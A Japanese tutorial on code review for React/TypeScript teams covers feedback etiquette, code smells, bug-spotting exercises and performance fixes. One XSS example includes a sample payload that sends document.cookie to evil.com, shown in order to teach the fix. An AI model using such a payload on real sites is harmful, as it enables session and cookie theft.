レビュー実践
実際のコード例を見ながら、レビューのスキルを磨こう
フィードバックの伝え方
レビューコメントの書き方一つで、チームの雰囲気は大きく変わります。建設的で具体的なフィードバックを心がけましょう。
コメントのプレフィックス
コメントの意図を明確にするため、プレフィックスを付けるチームが増えています。
[must]マージ前に必ず修正が必要[should]修正を強く推奨するが、ブロックはしない[nit]些細な指摘(命名の好み、フォーマットなど)[question]理解のための質問[praise]良いコードへの賞賛悪いフィードバック
❌ "これは間違ってる"
具体性がなく、修正方法が分からない
❌ "なんでこう書いたの?"
攻撃的に感じられる
❌ "普通こうしない"
主観的で理由がない
良いフィードバック
✅ "[must] ここで null チェックが必要です。API が null を返す可能性があります"
具体的な問題と理由を説明
✅ "[nit] この変数名は getUserById の方が意図が伝わりやすいかもしれません"
提案型で押し付けない
✅ "[praise] このカスタムHookの抽象化、とても良いですね!"
良い点を認める
フィードバックの受け方
レビューを受ける側にもスキルが必要です。 コードへの指摘を個人攻撃と捉えないことが大切です。
指摘に感謝する
レビュアーは自分の時間を使ってコードを改善しようとしている。「ありがとうございます、修正します」が基本
理由が分からなければ質問する
「なぜその方が良いのか教えていただけますか?」と素直に聞く
意見が異なる場合は根拠を示す
感情ではなく技術的な理由で議論する。最終的に合意できなければチームリードに判断を委ねる
修正したらコメントで知らせる
「修正しました」「別のアプローチにしました」など、対応状況を返信する
よくあるコードスメルを見つける
コードスメルとは、バグではないものの 設計上の問題を示唆するコードの特徴です。レビューでよく指摘されるパターンを見てみましょう。
1. マジックナンバー
Before(問題あり)
// 何の数字か分からない
if (password.length < 8) {
return "短すぎます";
}
if (items.length > 50) {
showPagination();
}
setTimeout(fetchData, 300000);After(改善後)
const MIN_PASSWORD_LENGTH = 8;
const ITEMS_PER_PAGE = 50;
const FETCH_INTERVAL_MS = 5 * 60 * 1000;
if (password.length < MIN_PASSWORD_LENGTH) {
return "短すぎます";
}
if (items.length > ITEMS_PER_PAGE) {
showPagination();
}
setTimeout(fetchData, FETCH_INTERVAL_MS);2. 巨大な関数
Before(問題あり)
async function handleSubmit(data: FormData) {
// バリデーション(20行)
if (!data.name) { ... }
if (!data.email) { ... }
if (!data.password) { ... }
// ...
// データ変換(15行)
const user = { ... };
// ...
// API呼び出し(10行)
const res = await fetch(...);
// ...
// エラーハンドリング(15行)
if (!res.ok) { ... }
// ...
// 後処理(10行)
redirect(...);
// ...
// 合計70行以上の関数!
}After(改善後)
async function handleSubmit(data: FormData) {
const errors = validateForm(data);
if (errors.length > 0) {
return showErrors(errors);
}
const user = transformToUser(data);
try {
await createUser(user);
showSuccess("ユーザーを作成しました");
redirect("/users");
} catch (error) {
handleApiError(error);
}
}
// 各処理を個別の関数に分離
function validateForm(data: FormData) { ... }
function transformToUser(data: FormData) { ... }
async function createUser(user: User) { ... }
function handleApiError(error: unknown) { ... }3. 深いネスト
Before(問題あり)
function processOrder(order: Order) {
if (order) {
if (order.items.length > 0) {
if (order.user) {
if (order.user.isActive) {
// やっと本来のロジック
return calculateTotal(order);
} else {
throw new Error("無効なユーザー");
}
} else {
throw new Error("ユーザーなし");
}
} else {
throw new Error("商品なし");
}
} else {
throw new Error("注文なし");
}
}After(早期リターン)
function processOrder(order: Order) {
if (!order) {
throw new Error("注文なし");
}
if (order.items.length === 0) {
throw new Error("商品なし");
}
if (!order.user) {
throw new Error("ユーザーなし");
}
if (!order.user.isActive) {
throw new Error("無効なユーザー");
}
// ガード節の後、本来のロジックに集中
return calculateTotal(order);
}実践: バグを見つけてみよう
以下のReact/TypeScriptコードにはよくあるバグが含まれています。 レビュアーの視点で問題を見つけてみましょう。
例1: データ取得コンポーネント
function UserProfile({ userId }: { userId: string }) {
const [user, setUser] = useState<User | null>(null);
useEffect(() => {
fetch(`/api/users/${userId}`)
.then(res => res.json())
.then(data => setUser(data));
}, []); // <-- ここに問題がある!
if (!user) return <p>Loading...</p>;
return <h1>{user.name}</h1>;
}問題点
useEffectの依存配列に userId が含まれていません。userId が変わっても再取得されず、 古いデータが表示され続けます。また、エラーハンドリングもありません。
// 修正後
function UserProfile({ userId }: { userId: string }) {
const [user, setUser] = useState<User | null>(null);
const [error, setError] = useState<string | null>(null);
useEffect(() => {
let ignore = false;
fetch(`/api/users/${userId}`)
.then(res => {
if (!res.ok) throw new Error("取得に失敗しました");
return res.json();
})
.then(data => {
if (!ignore) setUser(data);
})
.catch(err => {
if (!ignore) setError(err.message);
});
return () => { ignore = true; };
}, [userId]); // userId を依存配列に追加
if (error) return <p>エラー: {error}</p>;
if (!user) return <p>Loading...</p>;
return <h1>{user.name}</h1>;
}例2: カウンターコンポーネント
function Counter() {
const [count, setCount] = useState(0);
function handleClick() {
setCount(count + 1);
setCount(count + 1);
setCount(count + 1);
// 3回呼んだのに 1 しか増えない!
}
return <button onClick={handleClick}>Count: {count}</button>;
}問題点
Reactのstate更新はバッチ処理されます。countの 値はクロージャで固定されているため、3回 setCount(0 + 1) が 呼ばれるだけです。
// 修正後: 関数型更新を使う
function handleClick() {
setCount(prev => prev + 1);
setCount(prev => prev + 1);
setCount(prev => prev + 1);
// 正しく 3 増える
}例3: セキュリティの問題
function Comment({ comment }: { comment: string }) {
// dangerouslySetInnerHTML で直接HTMLを挿入
return (
<div
dangerouslySetInnerHTML={{ __html: comment }}
/>
);
}
// 攻撃者が以下を投稿した場合:
// <img src=x onerror="document.location='https://evil.com/?cookie='+document.cookie">XSS脆弱性
ユーザー入力を dangerouslySetInnerHTML で 直接挿入すると、XSS(クロスサイトスクリプティング)攻撃が可能になります。
// 修正後: テキストとして表示するか、サニタイズする
import DOMPurify from "dompurify";
function Comment({ comment }: { comment: string }) {
// 方法1: テキストとして表示(最も安全)
return <div>{comment}</div>;
// 方法2: HTMLが必要ならサニタイズする
const clean = DOMPurify.sanitize(comment);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}実践: パフォーマンスの問題を見つける
レビューでよく指摘されるパフォーマンスの問題を実際のコードで見てみましょう。
不要な再レンダリング
Before(毎回再レンダリング)
function TodoList({ todos }: Props) {
// 毎回新しいオブジェクトが生成される
const style = { color: "red" };
// 毎回新しい関数が生成される
const filtered = todos.filter(
t => t.status === "active"
);
return (
<ul style={style}>
{filtered.map(todo => (
<TodoItem
key={todo.id}
todo={todo}
// 毎回新しい関数が渡される
onDelete={() => deleteTodo(todo.id)}
/>
))}
</ul>
);
}After(最適化後)
const style = { color: "red" } as const;
function TodoList({ todos }: Props) {
const filtered = useMemo(
() => todos.filter(
t => t.status === "active"
),
[todos]
);
const handleDelete = useCallback(
(id: string) => deleteTodo(id),
[]
);
return (
<ul style={style}>
{filtered.map(todo => (
<TodoItem
key={todo.id}
todo={todo}
onDelete={handleDelete}
/>
))}
</ul>
);
}
// memo で不要な再レンダリングを防止
const TodoItem = memo(function TodoItem(
{ todo, onDelete }: ItemProps
) {
return (...);
});まとめ
- • フィードバックにはプレフィックス([must] / [nit] / [praise])を付けて意図を明確にする
- • 指摘は具体的に・建設的に・理由とともに伝える
- • レビューを受ける側は感謝の姿勢を持ち、技術的な議論を歓迎する
- • マジックナンバー・巨大な関数・深いネストはよくあるコードスメル
- • useEffectの依存配列・状態更新・XSSはReactでよく見つかるバグ
- • useMemo・useCallback・memoでパフォーマンス問題を改善できる